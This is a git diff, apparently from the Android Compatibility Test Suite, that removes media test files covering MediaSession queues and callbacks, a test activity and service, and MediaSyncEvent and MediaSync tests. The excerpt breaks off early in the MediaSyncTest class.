-    public void testSetQueueWithLargeNumberOfItems() throws Exception {
-        int queueSize = 500_000;
-        List<QueueItem> queue = new ArrayList<>();
-        for (int id = 0; id < queueSize; id++) {
-            MediaDescription description = new MediaDescription.Builder()
-                    .setMediaId(Integer.toString(id)).build();
-            queue.add(new QueueItem(description, id));
-        }
-
-        try (RemoteService.Invoker invoker = new RemoteService.Invoker(mContext,
-                MediaSessionTestService.class, TEST_SET_QUEUE)) {
-            Bundle args = new Bundle();
-            args.putParcelable(KEY_SESSION_TOKEN, mSession.getSessionToken());
-            args.putInt(KEY_EXPECTED_QUEUE_SIZE, queueSize);
-            invoker.run(STEP_SET_UP, args);
-            mSession.setQueue(queue);
-            invoker.run(STEP_CHECK);
-            invoker.run(STEP_CLEAN_UP);
-        }
-    }
-
-    public void testSetQueueWithEmptyQueue() throws Exception {
-        try (RemoteService.Invoker invoker = new RemoteService.Invoker(mContext,
-                MediaSessionTestService.class, TEST_SET_QUEUE)) {
-            Bundle args = new Bundle();
-            args.putParcelable(KEY_SESSION_TOKEN, mSession.getSessionToken());
-            args.putInt(KEY_EXPECTED_QUEUE_SIZE, 0);
-            invoker.run(STEP_SET_UP, args);
-            mSession.setQueue(Collections.emptyList());
-            invoker.run(STEP_CHECK);
-            invoker.run(STEP_CLEAN_UP);
-        }
-    }
-
-    /**
-     * Verifies that a new session hasn't had any configuration bits set yet.
-     *
-     * @param controller The controller for the session
-     */
-    private void verifyNewSession(MediaController controller) {
-        assertEquals("New session has unexpected configuration", 0L, controller.getFlags());
-        assertNull("New session has unexpected configuration", controller.getExtras());
-        assertNull("New session has unexpected configuration", controller.getMetadata());
-        assertEquals("New session has unexpected configuration",
-                getContext().getPackageName(), controller.getPackageName());
-        assertNull("New session has unexpected configuration", controller.getPlaybackState());
-        assertNull("New session has unexpected configuration", controller.getQueue());
-        assertNull("New session has unexpected configuration", controller.getQueueTitle());
-        assertEquals("New session has unexpected configuration", Rating.RATING_NONE,
-                controller.getRatingType());
-        assertNull("New session has unexpected configuration", controller.getSessionActivity());
-
-        assertNotNull(controller.getSessionToken());
-        assertNotNull(controller.getTransportControls());
-
-        MediaController.PlaybackInfo info = controller.getPlaybackInfo();
-        assertNotNull(info);
-        info.toString(); // Test that calling PlaybackInfo.toString() does not crash.
-        assertEquals(MediaController.PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
-        AudioAttributes attrs = info.getAudioAttributes();
-        assertNotNull(attrs);
-        assertEquals(AudioAttributes.USAGE_MEDIA, attrs.getUsage());
-        assertEquals(mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC),
-                info.getCurrentVolume());
-    }
-
-    private class MediaControllerCallback extends MediaController.Callback {
-        private volatile boolean mOnPlaybackStateChangedCalled;
-        private volatile boolean mOnMetadataChangedCalled;
-        private volatile boolean mOnQueueChangedCalled;
-        private volatile boolean mOnQueueTitleChangedCalled;
-        private volatile boolean mOnExtraChangedCalled;
-        private volatile boolean mOnAudioInfoChangedCalled;
-        private volatile boolean mOnSessionDestroyedCalled;
-        private volatile boolean mOnSessionEventCalled;
-
-        private volatile PlaybackState mPlaybackState;
-        private volatile MediaMetadata mMediaMetadata;
-        private volatile List<QueueItem> mQueue;
-        private volatile CharSequence mTitle;
-        private volatile String mEvent;
-        private volatile Bundle mExtras;
-        private volatile MediaController.PlaybackInfo mPlaybackInfo;
-
-        public void resetLocked() {
-            mOnPlaybackStateChangedCalled = false;
-            mOnMetadataChangedCalled = false;
-            mOnQueueChangedCalled = false;
-            mOnQueueTitleChangedCalled = false;
-            mOnExtraChangedCalled = false;
-            mOnAudioInfoChangedCalled = false;
-            mOnSessionDestroyedCalled = false;
-            mOnSessionEventCalled = false;
-
-            mPlaybackState = null;
-            mMediaMetadata = null;
-            mQueue = null;
-            mTitle = null;
-            mExtras = null;
-            mPlaybackInfo = null;
-        }
-
-        @Override
-        public void onPlaybackStateChanged(PlaybackState state) {
-            synchronized (mWaitLock) {
-                mOnPlaybackStateChangedCalled = true;
-                mPlaybackState = state;
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onMetadataChanged(MediaMetadata metadata) {
-            synchronized (mWaitLock) {
-                mOnMetadataChangedCalled = true;
-                mMediaMetadata = metadata;
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onQueueChanged(List<QueueItem> queue) {
-            synchronized (mWaitLock) {
-                mOnQueueChangedCalled = true;
-                mQueue = queue;
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onQueueTitleChanged(CharSequence title) {
-            synchronized (mWaitLock) {
-                mOnQueueTitleChangedCalled = true;
-                mTitle = title;
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onExtrasChanged(Bundle extras) {
-            synchronized (mWaitLock) {
-                mOnExtraChangedCalled = true;
-                mExtras = extras;
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onAudioInfoChanged(MediaController.PlaybackInfo info) {
-            synchronized (mWaitLock) {
-                mOnAudioInfoChangedCalled = true;
-                mPlaybackInfo = info;
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onSessionDestroyed() {
-            synchronized (mWaitLock) {
-                mOnSessionDestroyedCalled = true;
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onSessionEvent(String event, Bundle extras) {
-            synchronized (mWaitLock) {
-                mOnSessionEventCalled = true;
-                mEvent = event;
-                mExtras = (Bundle) extras.clone();
-                mWaitLock.notify();
-            }
-        }
-    }
-
-    private class MediaSessionCallback extends MediaSession.Callback {
-        private CountDownLatch mLatch;
-        private int mOnPlayCalledCount;
-        private boolean mOnPauseCalled;
-        private boolean mOnStopCalled;
-        private boolean mOnFastForwardCalled;
-        private boolean mOnRewindCalled;
-        private boolean mOnSkipToPreviousCalled;
-        private boolean mOnSkipToNextCalled;
-        private RemoteUserInfo mCallerInfo;
-
-        public void reset(int count) {
-            mLatch = new CountDownLatch(count);
-            mOnPlayCalledCount = 0;
-            mOnPauseCalled = false;
-            mOnStopCalled = false;
-            mOnFastForwardCalled = false;
-            mOnRewindCalled = false;
-            mOnSkipToPreviousCalled = false;
-            mOnSkipToNextCalled = false;
-        }
-
-        public boolean await(long waitMs) {
-            try {
-                return mLatch.await(waitMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        @Override
-        public void onPlay() {
-            mOnPlayCalledCount++;
-            mCallerInfo = mSession.getCurrentControllerInfo();
-            setPlaybackState(PlaybackState.STATE_PLAYING);
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onPause() {
-            mOnPauseCalled = true;
-            mCallerInfo = mSession.getCurrentControllerInfo();
-            setPlaybackState(PlaybackState.STATE_PAUSED);
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onStop() {
-            mOnStopCalled = true;
-            mCallerInfo = mSession.getCurrentControllerInfo();
-            setPlaybackState(PlaybackState.STATE_STOPPED);
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onFastForward() {
-            mOnFastForwardCalled = true;
-            mCallerInfo = mSession.getCurrentControllerInfo();
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onRewind() {
-            mOnRewindCalled = true;
-            mCallerInfo = mSession.getCurrentControllerInfo();
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onSkipToPrevious() {
-            mOnSkipToPreviousCalled = true;
-            mCallerInfo = mSession.getCurrentControllerInfo();
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onSkipToNext() {
-            mOnSkipToNextCalled = true;
-            mCallerInfo = mSession.getCurrentControllerInfo();
-            mLatch.countDown();
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTestActivity.java b/tests/tests/media/src/android/media/cts/MediaSessionTestActivity.java
deleted file mode 100644
index 90f7247..0000000
--- a/tests/tests/media/src/android/media/cts/MediaSessionTestActivity.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.fail;
-
-import android.app.Activity;
-import android.app.KeyguardManager;
-import android.content.Context;
-import android.media.session.MediaController;
-import android.media.session.MediaSession;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.WindowManager;
-
-/**
- * Activity for testing foreground activity behavior with the
- * {@link android.media.session.MediaSession}.
- */
-public class MediaSessionTestActivity extends Activity {
-    public static final String KEY_SESSION_TOKEN = "KEY_SESSION_TOKEN";
-    private static final String TAG = "MediaSessionTestActivity";
-
-    private boolean mDeviceLocked;
-    private boolean mResumed;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        // Wake up device.
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
-        setTurnScreenOn(true);
-
-        // Unlock device which is previously locked by power button press.
-        // This is required even when the screen lock is set to 'None'.
-        setShowWhenLocked(true);
-
-        KeyguardManager keyguardManager =
-                (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
-        // KeyguardManager can be null for the instant mode.
-        if (keyguardManager == null) {
-            Log.i(TAG, "Unable to get KeyguardManager. Probably in the instant mode.");
-        } else if (keyguardManager.isKeyguardLocked()) {
-            Log.i(TAG, "Device is locked. Try unlocking and bring activity foreground.");
-            mDeviceLocked = true;
-            // Note: CTS requires 'no lock pattern or password is set on the device'.
-            // However, try to dismiss keyguard for convenience.
-            keyguardManager.requestDismissKeyguard(this,
-                    new KeyguardManager.KeyguardDismissCallback() {
-                        @Override
-                        public void onDismissError() {
-                            finish();
-                        }
-
-                        @Override
-                        public void onDismissCancelled() {
-                            finish();
-                        }
-
-                        @Override
-                        public void onDismissSucceeded() {
-                            mDeviceLocked = false;
-                            setMediaControllerIfInForeground();
-                        }
-                    });
-        }
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        mResumed = true;
-        setMediaControllerIfInForeground();
-    }
-
-    @Override
-    protected void onPause() {
-        super.onPause();
-        mResumed = false;
-        setMediaController(null);
-    }
-
-    private void setMediaControllerIfInForeground() {
-        if (mDeviceLocked || !mResumed) {
-            return;
-        }
-        MediaSession.Token token = getIntent().getParcelableExtra(KEY_SESSION_TOKEN);
-        if (token != null) {
-            MediaController controller = new MediaController(this, token);
-            setMediaController(controller);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTestService.java b/tests/tests/media/src/android/media/cts/MediaSessionTestService.java
deleted file mode 100644
index 08476ba..0000000
--- a/tests/tests/media/src/android/media/cts/MediaSessionTestService.java
+++ /dev/null
@@ -1,139 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertTrue;
-
-import static java.util.concurrent.TimeUnit.MILLISECONDS;
-
-import android.annotation.Nullable;
-import android.media.session.MediaController;
-import android.media.session.MediaSession;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.atomic.AtomicInteger;
-
-public class MediaSessionTestService extends RemoteService {
-    public static final int TEST_SERIES_OF_SET_QUEUE = 0;
-    public static final int TEST_SET_QUEUE = 1;
-
-    public static final int STEP_SET_UP = 0;
-    public static final int STEP_CHECK = 1;
-    public static final int STEP_CLEAN_UP = 2;
-
-    public static final String KEY_SESSION_TOKEN = "sessionToken";
-    public static final String KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS = "expectedTotalNumberOfItems";
-    public static final String KEY_EXPECTED_QUEUE_SIZE = "expectedQueueSize";
-
-    private MediaController mMediaController;
-    private MediaController.Callback mMediaControllerCallback;
-    private CountDownLatch mAllItemsNotified;
-    private CountDownLatch mQueueNotified;
-
-    private void testSeriesOfSetQueue_setUp(Bundle args) {
-        MediaSession.Token token = args.getParcelable(KEY_SESSION_TOKEN);
-        int expectedTotalNumberOfItems = args.getInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS);
-
-        mAllItemsNotified = new CountDownLatch(1);
-        AtomicInteger numberOfItems = new AtomicInteger();
-        mMediaControllerCallback = new MediaController.Callback() {
-            @Override
-            public void onQueueChanged(List<MediaSession.QueueItem> queue) {
-                if (queue != null) {
-                    if (numberOfItems.addAndGet(queue.size()) >= expectedTotalNumberOfItems) {
-                        mAllItemsNotified.countDown();
-                    }
-                }
-            }
-        };
-        mMediaController = new MediaController(this, token);
-        mMediaController.registerCallback(mMediaControllerCallback,
-                new Handler(Looper.getMainLooper()));
-    }
-
-    private void testSeriesOfSetQueue_check() throws Exception {
-        assertTrue(mAllItemsNotified.await(TIMEOUT_MS, MILLISECONDS));
-    }
-
-    private void testSeriesOfSetQueue_cleanUp() {
-        mMediaController.unregisterCallback(mMediaControllerCallback);
-        mMediaController = null;
-        mMediaControllerCallback = null;
-        mAllItemsNotified = null;
-    }
-
-    private void testSetQueue_setUp(Bundle args) {
-        MediaSession.Token token = args.getParcelable(KEY_SESSION_TOKEN);
-        int expectedQueueSize = args.getInt(KEY_EXPECTED_QUEUE_SIZE);
-
-        mQueueNotified = new CountDownLatch(1);
-        mMediaControllerCallback = new MediaController.Callback() {
-            @Override
-            public void onQueueChanged(List<MediaSession.QueueItem> queue) {
-                if (queue != null && queue.size() == expectedQueueSize) {
-                    mQueueNotified.countDown();
-                }
-            }
-        };
-        mMediaController = new MediaController(this, token);
-        mMediaController.registerCallback(mMediaControllerCallback,
-                new Handler(Looper.getMainLooper()));
-    }
-
-    private void testSetQueue_check() throws Exception {
-        assertTrue(mQueueNotified.await(TIMEOUT_MS, MILLISECONDS));
-    }
-
-    private void testSetQueue_cleanUp() {
-        mMediaController.unregisterCallback(mMediaControllerCallback);
-        mMediaController = null;
-        mMediaControllerCallback = null;
-        mQueueNotified = null;
-    }
-
-    @Override
-    public void onRun(int testId, int step, @Nullable Bundle args) throws Exception {
-        if (testId == TEST_SERIES_OF_SET_QUEUE) {
-            if (step == STEP_SET_UP) {
-                testSeriesOfSetQueue_setUp(args);
-            } else if (step == STEP_CHECK) {
-                testSeriesOfSetQueue_check();
-            } else if (step == STEP_CLEAN_UP) {
-                testSeriesOfSetQueue_cleanUp();
-            } else {
-                throw new IllegalArgumentException("Unknown step=" + step);
-            }
-        } else if (testId == TEST_SET_QUEUE) {
-            if (step == STEP_SET_UP) {
-                testSetQueue_setUp(args);
-            } else if (step == STEP_CHECK) {
-                testSetQueue_check();
-            } else if (step == STEP_CLEAN_UP) {
-                testSetQueue_cleanUp();
-            } else {
-                throw new IllegalArgumentException("Unknown step=" + step);
-            }
-
-        } else {
-            throw new IllegalArgumentException("Unknown testId=" + testId);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaStubActivity.java b/tests/tests/media/src/android/media/cts/MediaStubActivity.java
deleted file mode 100644
index fc5d459..0000000
--- a/tests/tests/media/src/android/media/cts/MediaStubActivity.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.SurfaceHolder;
-import android.view.SurfaceView;
-import android.view.WindowManager;
-
-public class MediaStubActivity extends Activity {
-    private static final String TAG = "MediaStubActivity";
-    private SurfaceHolder mHolder;
-    private SurfaceHolder mHolder2;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
-        setTurnScreenOn(true);
-        setShowWhenLocked(true);
-
-        setContentView(R.layout.mediaplayer);
-
-        SurfaceView surfaceV = (SurfaceView)findViewById(R.id.surface);
-        mHolder = surfaceV.getHolder();
-
-        SurfaceView surfaceV2 = (SurfaceView)findViewById(R.id.surface2);
-        mHolder2 = surfaceV2.getHolder();
-    }
-
-    @Override
-    protected void onResume() {
-        Log.i(TAG, "onResume");
-        super.onResume();
-    }
-
-    @Override
-    protected void onPause() {
-        Log.i(TAG, "onPause");
-        super.onPause();
-    }
-    public SurfaceHolder getSurfaceHolder() {
-        return mHolder;
-    }
-
-    public SurfaceHolder getSurfaceHolder2() {
-        return mHolder2;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaSyncEventTest.java b/tests/tests/media/src/android/media/cts/MediaSyncEventTest.java
deleted file mode 100644
index c54cca3..0000000
--- a/tests/tests/media/src/android/media/cts/MediaSyncEventTest.java
+++ /dev/null
@@ -1,230 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioRecord;
-import android.media.AudioTrack;
-import android.media.MediaSyncEvent;
-import android.os.Parcel;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-public class MediaSyncEventTest {
-    private final static String TAG = "MediaSyncEventTest";
-
-    @Test
-    public void testSynchronizedRecord() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        final String TEST_NAME = "testSynchronizedRecord";
-        AudioTrack track = null;
-        AudioRecord record = null;
-
-        try {
-            // 1. create a static AudioTrack.
-            final int PLAYBACK_TIME_IN_MS = 2000; /* ms duration. */
-            final int PLAYBACK_SAMPLE_RATE = 8000; /* in hz */
-            AudioFormat format = new AudioFormat.Builder()
-                    .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
-                    .setEncoding(AudioFormat.ENCODING_PCM_8BIT)
-                    .setSampleRate(PLAYBACK_SAMPLE_RATE)
-                    .build();
-            final int frameCount = AudioHelper.frameCountFromMsec(PLAYBACK_TIME_IN_MS, format);
-            final int frameSize = AudioHelper.frameSizeFromFormat(format);
-            track = new AudioTrack.Builder()
-                    .setAudioFormat(format)
-                    .setBufferSizeInBytes(frameCount * frameSize)
-                    .setTransferMode(AudioTrack.MODE_STATIC)
-                    .build();
-            // create float array and write it
-            final int sampleCount = frameCount * format.getChannelCount();
-            byte[] vab = AudioHelper.createSoundDataInByteArray(
-                    sampleCount, PLAYBACK_SAMPLE_RATE, 600 /* frequency */, 0 /* sweep */);
-            assertEquals(TEST_NAME, vab.length,
-                    track.write(vab, 0 /* offsetInBytes */, vab.length,
-                            AudioTrack.WRITE_NON_BLOCKING));
-            final int trackSessionId = track.getAudioSessionId();
-
-            // 2. create an AudioRecord to sync off of AudioTrack completion.
-            final int RECORD_TIME_IN_MS = 2000;
-            final int RECORD_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
-            final int RECORD_CHANNEL_MASK = AudioFormat.CHANNEL_IN_STEREO;
-            final int RECORD_SAMPLE_RATE = 44100;
-            record = new AudioRecord.Builder()
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setSampleRate(RECORD_SAMPLE_RATE)
-                            .setChannelMask(RECORD_CHANNEL_MASK)
-                            .setEncoding(RECORD_ENCODING)
-                            .build())
-                    .build();
-            // AudioRecord creation may have silently failed, check state now
-            assertEquals(TEST_NAME, AudioRecord.STATE_INITIALIZED, record.getState());
-
-            // 3. create a MediaSyncEvent
-            // This MediaSyncEvent checks playback completion of an AudioTrack
-            // (or MediaPlayer, or ToneGenerator) based on its audio session id.
-            //
-            // Note: when synchronizing record from a MediaSyncEvent
-            // (1) You need to be "close" to the end of the associated AudioTrack.
-            // If the track does not complete in 30 seconds, recording begins regardless.
-            // (actual delay limit may vary).
-            //
-            // (2) Track completion may be triggered by pause() as well as stop()
-            // or when a static AudioTrack completes playback.
-            //
-            final int eventType = MediaSyncEvent.SYNC_EVENT_PRESENTATION_COMPLETE;
-            MediaSyncEvent event = MediaSyncEvent.createEvent(eventType)
-                    .setAudioSessionId(trackSessionId);
-            assertEquals(TEST_NAME, trackSessionId, event.getAudioSessionId());
-            assertEquals(TEST_NAME, eventType, event.getType());
-
-            // 4. now set the AudioTrack playing and start the recording synchronized
-            track.play();
-            // start recording.  Recording state turns to RECORDSTATE_RECORDING immediately
-            // but the data read() only occurs after the AudioTrack completes.
-            record.startRecording(event);
-            assertEquals(TEST_NAME,
-                    AudioRecord.RECORDSTATE_RECORDING, record.getRecordingState());
-            long startTime = System.currentTimeMillis();
-
-            // 5. get record data.
-            // For our tests, we could set test duration by timed sleep or by # frames received.
-            // Since we don't know *exactly* when AudioRecord actually begins recording,
-            // we end the test by # frames read.
-            final int numChannels =
-                    AudioFormat.channelCountFromInChannelMask(RECORD_CHANNEL_MASK);
-            final int bytesPerSample = AudioFormat.getBytesPerSample(RECORD_ENCODING);
-            final int bytesPerFrame = numChannels * bytesPerSample;
-            // careful about integer overflow in the formula below:
-            final int targetSamples =
-                    (int)((long)RECORD_TIME_IN_MS * RECORD_SAMPLE_RATE * numChannels / 1000);
-            final int BUFFER_FRAMES = 512;
-            final int BUFFER_SAMPLES = BUFFER_FRAMES * numChannels;
-
-            // After starting, there is no guarantee when the first frame of data is read.
-            long firstSampleTime = 0;
-            int samplesRead = 0;
-
-            // For 16 bit data, use shorts
-            short[] shortData = new short[BUFFER_SAMPLES];
-            while (samplesRead < targetSamples) {
-                // the first time through, we read a single frame.
-                // this sets the recording anchor position.
-                int amount = samplesRead == 0 ? numChannels :
-                        Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
-                int ret = record.read(shortData, 0, amount);
-                assertEquals(TEST_NAME, amount, ret);
-                if (samplesRead == 0 && ret > 0) {
-                    firstSampleTime = System.currentTimeMillis();
-                }
-                samplesRead += ret;
-                // validity check: elapsed time cannot be more than a second
-                // than what we expect.
-                assertTrue(System.currentTimeMillis() - startTime <=
-                        PLAYBACK_TIME_IN_MS + RECORD_TIME_IN_MS + 1000);
-            }
-
-            // 6. We've read all the frames, now check the timing.
-            final long endTime = System.currentTimeMillis();
-            //Log.d(TEST_NAME, "first sample time " + (firstSampleTime - startTime)
-            //        + " test time " + (endTime - firstSampleTime));
-            //
-            // Verify recording starts within 400 ms of AudioTrack completion (typical 180ms)
-            // Verify recording completes within 50 ms of expected test time (typical 20ms)
-            assertEquals(TEST_NAME, PLAYBACK_TIME_IN_MS, firstSampleTime - startTime,
-                    isLowLatencyDevice() ? 200 : 800);
-            assertEquals(TEST_NAME, RECORD_TIME_IN_MS, endTime - firstSampleTime,
-                    isLowLatencyDevice()? 50 : 400);
-
-            record.stop();
-            assertEquals(TEST_NAME, AudioRecord.RECORDSTATE_STOPPED, record.getRecordingState());
-        } finally {
-            if (record != null) {
-                record.release();
-                record = null;
-            }
-            if (track != null) {
-                track.release();
-                track = null;
-            }
-        }
-    }
-
-    // -----------------------------------------------------------------
-    // Parcelable tests
-    // ----------------------------------
-
-    @Test
-    public void testParcelableDescribeContents() throws Exception {
-        final MediaSyncEvent event =
-                MediaSyncEvent.createEvent(MediaSyncEvent.SYNC_EVENT_PRESENTATION_COMPLETE);
-        assertNotNull("Failure to create the MediaSyncEvent", event);
-        assertEquals(0, event.describeContents());
-    }
-
-    @Test
-    public void testParcelableWriteToParcelCreate() throws Exception {
-        final MediaSyncEvent srcEvent =
-                MediaSyncEvent.createEvent(MediaSyncEvent.SYNC_EVENT_PRESENTATION_COMPLETE);
-        assertNotNull("Failure to create the MediaSyncEvent", srcEvent);
-        AudioManager am =
-                InstrumentationRegistry.getTargetContext().getSystemService(AudioManager.class);
-        srcEvent.setAudioSessionId(am.generateAudioSessionId());
-
-        final Parcel srcParcel = Parcel.obtain();
-        final Parcel dstParcel = Parcel.obtain();
-        final byte[] mbytes;
-
-        srcEvent.writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
-        mbytes = srcParcel.marshall();
-        dstParcel.unmarshall(mbytes, 0, mbytes.length);
-        dstParcel.setDataPosition(0);
-        final MediaSyncEvent targetEvent = MediaSyncEvent.CREATOR.createFromParcel(dstParcel);
-
-        assertEquals("Marshalled/restored type doesn't match",
-                srcEvent.getType(), targetEvent.getType());
-        assertEquals("Marshalled/restored session doesn't match",
-                srcEvent.getAudioSessionId(), targetEvent.getAudioSessionId());
-    }
-
-    private boolean hasMicrophone() {
-        return InstrumentationRegistry.getTargetContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE);
-    }
-
-    private boolean isLowLatencyDevice() {
-        return InstrumentationRegistry.getTargetContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_AUDIO_LOW_LATENCY);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaSyncTest.java b/tests/tests/media/src/android/media/cts/MediaSyncTest.java
deleted file mode 100644
index 0e2562a..0000000
--- a/tests/tests/media/src/android/media/cts/MediaSyncTest.java
+++ /dev/null
@@ -1,823 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
-import android.media.MediaCodec;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaSync;
-import android.media.MediaTimestamp;
-import android.media.PlaybackParams;
-import android.media.SyncParams;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-import android.view.Surface;
-
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.IOException;
-import java.lang.Long;
-import java.lang.Math;
-import java.nio.ByteBuffer;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.concurrent.atomic.AtomicBoolean;
-
-/**
- * Tests for the MediaSync API and local video/audio playback.
- *
- * <p>The file in res/raw used by all tests are (c) copyright 2008,
- * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
- * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
- */
-@NonMediaMainlineTest
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaSyncTest extends ActivityInstrumentationTestCase2<MediaStubActivity> {
-    private static final String LOG_TAG = "MediaSyncTest";
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    private final long NO_TIMESTAMP = -1;
-    private final float FLOAT_PLAYBACK_RATE_TOLERANCE = .02f;
-    private final long TIME_MEASUREMENT_TOLERANCE_US = 20000;
-    final String INPUT_RESOURCE =
-            mInpPrefix + "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
-    private final int APPLICATION_AUDIO_PERIOD_MS = 200;
-    private final int TEST_MAX_SPEED = 2;
-    private static final float FLOAT_TOLERANCE = .00001f;
-
-    private Context mContext;
-
-    private MediaStubActivity mActivity;
-
-    private MediaSync mMediaSync = null;
-    private Surface mSurface = null;
-
-    private Decoder mDecoderVideo = null;
-    private Decoder mDecoderAudio = null;
-    private boolean mHasAudio = false;
-    private boolean mHasVideo = false;
-    private boolean mEosAudio = false;
-    private boolean mEosVideo = false;
-    private int mTaggedAudioBufferIndex = -1;
-    private final Object mConditionEos = new Object();
-    private final Object mConditionEosAudio = new Object();
-    private final Object mConditionTaggedAudioBufferIndex = new Object();
-
-    private int mNumBuffersReturned = 0;
-
-    public MediaSyncTest() {
-        super(MediaStubActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
